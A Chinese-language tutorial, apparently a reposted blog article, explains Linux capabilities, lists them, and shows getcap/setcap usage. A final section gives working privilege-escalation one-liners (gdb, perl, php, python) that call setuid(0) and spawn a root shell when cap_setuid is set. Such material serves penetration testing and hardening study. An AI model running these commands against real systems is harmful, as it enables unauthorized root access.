Linux提權(capabilities)


0x00 Capabilities入門

什么是Capabilities

Linux的Root用戶擁有最高的權限,可以對幾乎系統中的任何文件進行操作。然而普通用戶如何操作一些高權限的文件?
在Linux中存在兩種方法:
第一種是在執行的命令前加上sudo,這樣就會以Root的身份進行操作。
第二種方法是設置SUID或SGID,這樣雖然會以原用戶的身份進行操作,但是獲得了操作權限。

SUID和SGID存在安全隱患,因為某文件設置了之后普通用戶將會獲得廣范圍的操作權限。
為了避免這種安全隱患,Linux內核 2.2 之后引入了Capabilities機制。什么是Capabilities機制哪?

原理很簡單,就是將之前與超級用戶 root(UID=0)關聯的特權細分為不同的功能組,Capabilites 作為線程(Linux 並不真正區分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將內核調用分門別類,具有相似功能的內核調用被分到同一組中。
這樣一來,權限檢查的過程就變成了:在執行特權操作時,如果線程的有效身份不是 root,就去檢查其是否具有該特權操作所對應的 capabilities,並以此為依據,決定是否可以執行特權操作。

細分后的特權:
capability名稱 描述
CAPAUDITCONTROL 啟用和禁用內核審計;改變審計過濾規則;檢索審計狀態和過濾規則
CAPAUDITREAD 允許通過 multicast netlink 套接字讀取審計日志
CAPAUDITWRITE 將記錄寫入內核審計日志
CAPBLOCKSUSPEND 使用可以阻止系統掛起的特性
CAP_CHOWN 修改文件所有者的權限
CAPDACOVERRIDE 忽略文件的 DAC 訪問限制
CAPDACREAD_SEARCH 忽略文件讀及目錄搜索的 DAC 訪問限制
CAP_FOWNER 忽略文件屬主 ID 必須和進程用戶 ID 相匹配的限制
CAP_FSETID 允許設置文件的 setuid 位
CAPIPCLOCK 允許鎖定共享內存片段
CAPIPCOWNER 忽略 IPC 所有權檢查
CAP_KILL 允許對不屬於自己的進程發送信號
CAP_LEASE 允許修改文件鎖的 FL_LEASE 標志
CAPLINUXIMMUTABLE 允許修改文件的 IMMUTABLE 和 APPEND 屬性標志
CAPMACADMIN 允許 MAC 配置或狀態更改
CAPMACOVERRIDE 忽略文件的 DAC 訪問限制
CAP_MKNOD 允許使用 mknod() 系統調用
CAPNETADMIN 允許執行網絡管理任務
CAPNETBIND_SERVICE 允許綁定到小於 1024 的端口
CAPNETBROADCAST 允許網絡廣播和多播訪問
CAPNETRAW 允許使用原始套接字
CAP_SETGID 允許改變進程的 GID
CAP_SETFCAP 允許為文件設置任意的 capabilities
CAP_SETPCAP 參考 capabilities man page
CAP_SETUID 允許改變進程的 UID
CAPSYSADMIN 允許執行系統管理任務,如加載或卸載文件系統、設置磁盤配額等
CAPSYSBOOT 允許重新啟動系統
CAPSYSCHROOT 允許使用 chroot() 系統調用
CAPSYSMODULE 允許插入和刪除內核模塊
CAPSYSNICE 允許提升優先級及設置其他進程的優先級
CAPSYSPACCT 允許執行進程的 BSD 式審計
CAPSYSPTRACE 允許跟蹤任何進程
CAPSYSRAWIO 允許直接訪問 /devport、/dev/mem、/dev/kmem 及原始塊設備
CAPSYSRESOURCE 忽略資源限制
CAPSYSTIME 允許改變系統時鍾
CAPSYSTTY_CONFIG 允許配置 TTY 設備
CAP_SYSLOG 允許使用 syslog() 系統調用
CAPWAKEALARM 允許觸發一些能喚醒系統的東西(比如 CLOCKBOOTTIMEALARM 計時器)
Capabilities使用
查詢
getcap [路徑]

## 查詢全部
getcap -r / 2>/dev/null # -r 遞歸查詢   2>/dev/null 錯誤信息從定向到null
設置
## 多個Capabilities以分號划分
setcap [Capabilities名稱]=eip  [路徑]
## 設置多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設置時路徑要指定源文件,不可以是鏈接文件,如果報錯可以查看是不是路徑指定的為鏈接文件
刪除
setcap -r [路徑]

0x01 提權實例

setuid

通過setuid可以將進程執行用戶設置為root,以達到獲取root權限效果

gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb調用python debug調試;在shell中啟動python的命令為python2,在gdb中也為python
## -nx 不初始化腳本


perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'


php
php -r "posix_setuid(0); system('/bin/sh');"

出現如下時

需要安裝php-posix

yum install php-posix
## centos中命令


python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'


參考
https://www.freebuf.com/articles/system/251182.html
https://blog.csdn.net/alex_yangchuansheng/article/details/102796001


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM